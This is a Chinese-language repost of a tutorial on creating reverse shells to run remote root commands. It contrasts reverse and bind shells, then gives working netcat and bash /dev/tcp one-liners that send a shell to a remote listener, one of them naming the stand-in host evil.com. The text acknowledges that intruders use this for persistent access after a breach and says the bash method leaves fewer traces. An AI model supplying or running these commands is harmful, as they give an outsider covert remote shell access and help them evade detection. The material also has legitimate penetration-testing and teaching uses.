如何使用NetCat或BASH創建反向Shell來執行遠程Root命令

jopen 11年前發布 | 7K 次閱讀 Shell Bash

        英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH

        反向 shell (Reverse shell)是一種往遠程機器發送 shell 命令的技術,當遠程機器處在防火墻等其它東西后面時,這種技術會變得非常有用。你也許會說,“一個普通的 shell 或簡單的 SSH 通道不是也能實現這些嗎?”不,無法實現。在網上,我看到很多人對普通 shell 和反向 shell 之間的區別分不清。在我們開始下面的內容前,先弄清楚這些概念。

        反向 Shell (Reverse Shell)

  • 反向 shell 的工作方式是遠程計算機將自己的 shell 發送給特定的用戶,而不是將 shell 綁定到一個端口上。后者在很多環境中是無法訪問的。這樣,你就可以對遠程服務器執行 root 命令。

        Bind Shell

  • bind shell 是用戶用 BSAH,將 shell 綁定到一個本地端口上,這樣任何人都可以在本地網絡中發送命令。

        反向 shell 經常會被黑客用來做一些不法行為,例如入侵了一臺服務器后,他們會設置一個反向 shell,將來他們就能通過這個 shell 輕松的訪問這臺遠程計算機。我相信你是不會用它來做這種事情的。

        環境要求

  • 遠程 Unix 主機
  • 安裝了netcat

        使用 NetCat 實現反向 shell 交互

        當通過 shell 登錄到遠程主機后,下面的指令能輕松的將 shell 發送到你的機器上:

        nc -c /bin/sh <你的 IP> <任何一個未封鎖的端口>

        你甚至能通過 netcat 來 pipe BASH。

            /bin/sh nc <你的 IP> <任何未封鎖的端口>

        然后監聽這個 shell:

        nc -l -p <相同的端口> -vvv

        通過 BASH 實現反向 shell

        這種技術是當遠程機器上沒有 netcat 或你想做一些非自然的事情而不想留下太重的痕跡時使用。

        監聽 shell:

        nc -l -p <任何未封鎖的端口> -vvv

        先創建一個新的描述符,分配到一個網絡節點。這樣我們可以對這個描述符進行讀寫。

        exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 while read line; do $line 2>&5 >&5; done

        或另外一個反向 shell:

        0<&196;exec 196<>/dev/tcp/<你的 IP>/<相同的端口>; sh <&196 >&196 2>&196

如何使用NetCat或BASH創建反向Shell來執行遠程Root命令

        這樣,你就可以輕松是通過 netcat 發送任何命令了。

來自: 外刊IT評論
                    <span id="shareA4" class="fl">                          </span>
 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!